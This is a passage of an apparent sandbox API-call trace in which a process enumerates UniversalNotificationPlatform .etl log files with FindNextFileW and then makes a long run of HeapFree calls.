dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.003.etl", cAlternateFileName="UN3A48~1.ETL")) returned 1 [0185.362] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x4308f96d, ftLastAccessTime.dwHighDateTime=0x1d41dc4, ftLastWriteTime.dwLowDateTime=0x4416619d, ftLastWriteTime.dwHighDateTime=0x1d41dc4, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.004.etl", cAlternateFileName="UNE414~1.ETL")) returned 1 [0185.362] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.005.etl", cAlternateFileName="UN7020~1.ETL")) returned 1 [0185.363] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x2211c845, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4ddc6c38, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.006.etl", cAlternateFileName="UN4AAB~1.ETL")) returned 1 [0185.363] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x371f584 | out: lpFindFileData=0x371f584*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdb15d668, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xde0c0235, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UniversalNotificationPlatform.007.etl", cAlternateFileName="UN1B88~1.ETL")) returned 1 [0185.713] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.713] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.728] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.730] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.731] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.731] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.731] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.732] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.732] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.734] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.735] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.737] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.739] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.740] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.740] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4171fb0 | out: hHeap=0x420000) returned 1 [0185.811] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.813] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0185.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.819] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.819] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.820] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0185.823] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.824] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.825] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.826] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0185.829] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0185.829] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0185.829] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0185.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0185.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0185.836] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0185.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0185.841] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0185.842] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0185.843] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0185.846] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0185.847] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0185.847] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0186.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0186.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0186.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0186.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4100f88 | out: hHeap=0x420000) returned 1 [0186.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0186.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0186.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.049] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.050] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.053] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.053] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.102] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.108] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.110] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.116] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.118] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.124] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.124] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.126] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0186.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.129] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.130] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0186.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.132] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0948 | out: hHeap=0x420000) returned 1 [0186.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0186.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0186.137] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0186.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4121fa0 | out: hHeap=0x420000) returned 1 [0186.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.276] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.279] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.280] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.281] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.281] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0186.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.282] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.283] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4131fa8 | out: hHeap=0x420000) returned 1 [0186.283] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.283] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.284] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4110f90 | out: hHeap=0x420000) returned 1 [0186.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.816] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.817] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40f0f80 | out: hHeap=0x420000) returned 1 [0186.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.848] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.849] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.850] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.851] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0186.861] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0186.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.864] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.866] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0186.870] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0186.871] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40a39f0 | out: hHeap=0x420000) returned 1 [0187.042] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.043] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.044] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.045] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40c3a00 | out: hHeap=0x420000) returned 1 [0187.046] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.048] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40b39f8 | out: hHeap=0x420000) returned 1 [0187.048] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4ed0048 | out: hHeap=0x420000) returned 1 [0187.261] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.266] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.267] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.268] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.269] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.270] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.271] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.272] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.272] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.274] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.275] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.277] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 [0187.278] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40d3a08 | out: hHeap=0x420000) returned 1 